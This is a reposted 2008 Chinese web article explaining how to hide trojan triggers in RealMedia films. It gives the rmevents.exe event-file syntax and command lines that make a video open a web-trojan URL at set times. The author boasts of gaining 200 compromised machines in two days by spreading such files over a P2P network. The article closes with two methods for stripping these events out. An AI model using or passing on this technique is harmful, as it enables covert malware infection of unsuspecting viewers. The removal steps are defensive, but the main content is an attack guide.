黑客隐蔽技巧：在Real影片中放置木马

2008-02-23 06:47:53来源：互联网阅读 ()

　　经常遇到rm影片播放时弹出网页，一直不知道怎么回事，前几天看到了大众软件中一篇文章才知道插入和去除的方法，好东东不敢独享，在网上搜了三篇相关文章，转给大家拉！

　　在Real影片中放木马在P2P软件里,很多的Real影片都是危险的,这只是一个小技巧,辅助的一种入侵方式，但这种方法很有效果，比如在著名的A片交流软件PP点点通里，我下了一个这样的小木马，两天就有200个肉鸡，并且呈几何状增长.大家别做坏事。使用Helix Producer Plus 9的rmevents.exe来修改影片的剪辑信息,可以在指定时间打开指定的窗口.

　　新建一个文本文件rmevents.txt. 输入： u 00:01:00.0 00:01:30.0 http://yjs.bit.edu.cn/bbs 我来解释一下，它意思是说在00:01:00.0 00:01:30.0这个时间范围内打开后面的URL，后面的URL就是我们的木马地址。输入rmevents -i 电影 .rm -e rmevents.txt -o 电影 1.rm 这个命令，生成的电影 .rm就是我们的木马文件了。 http://yjs.bit.edu.cn/bbs 这个地址是你做好的网页木马的地址，不管是动鲨木马啊，还是EXE2BMP的木马，还是什么CHM 木马 . 防御方法更简单，嘿嘿，不看电影就没事了。要不就不用Realpalyer看吧，换别的播放器。

　　去除realoneplay,里的网页问题这个弹出的网页是由一开始压制影片的人压进去的广告页。可以通过 Helix Producer Plus V9.01 的rmevents.exe编辑掉。

　　方法一：在你的安装目录C:\Program Files\Real\Helix Producer Plus\RealMediaEditor默认是这个目录，里有一个rmevents.exe 在命令提示行cmd.exe下进入这个目录，运行rmevents.exe 然后建立一个内容为空的 events.txt 文件 rmevents -i input.rm -e events.txt -o output.rm input.rm为有广告的原来的rmvb影片。 output.rm为转换后的新影片名称。可以自定义。这个相当于覆盖掉原来的Event设置，对RMVB也有效。

　　方法二：直接运行C:\Program Files\Real\Helix Producer Plus\RealMediaEditor目录下的rmedtgui.exe效果跟上面的命令提示行下是一样的。运行rmedtgui.exe后，打开有广告的rmvb影片，选择菜单里的tools ——》merge events，打开新建立的空白events.txt，再在file下选择save as保存修改好的文件。 Helix Producer Plus V9.01在自由下载提供下载教你在RM中插入网址制作开始先准备个正常的RM文件下载个Helix Producer Plus 安装。

　　在准备个文本命令文件文本命令如下实例：在00:20.0(时分秒毫)—01:10.0时让欣赏者自动弹出 http://yjs.bit.edu.cn/bbs 主页在03:10.0(时分秒毫)—03:59.0时让欣赏者自动弹出 http://yjs.bit.edu.cn/bbs 主页 1、编辑事件文件新建一个记事本文件，命名为event.txt（可随意），输入以下内容： u 00:20.0 01:10.0 http://yjs.bit.edu.cn/bbs u 03:10.0 03:59.0 http://yjs.bit.edu.cn/bbs 存盘后退出解释：u 表示URL事件, 00:20.0是起启时间，01:10.0是结束时间，后面是指定的网页.
　　下一步进入Helix Producer Plus的安装目录下的RealMediaEditor子目录，双击运行rmedtgui.exe文件，从file菜单Open打开一个Rm文件，从菜单栏的tools（工具）中选择Merge Events（合并事件），在弹出的对话框中选择刚才编辑的event.txt文件，确定后Rmedtgui开始合并事件，合并结束后，请将含有事件文件的RM文件另行保存。整个过程应当在15分钟以内完成，还是相当快的。

　　就是这么简单！

标签：

版权申明：本站文章部分自网络，如有侵权，请联系：west999com@outlook.com
特别注意：本站所有转载文章言论不代表本站观点，本站所提供的摄影照片，插画，设计作品，如需使用，请与原作者联系，版权归原作者所有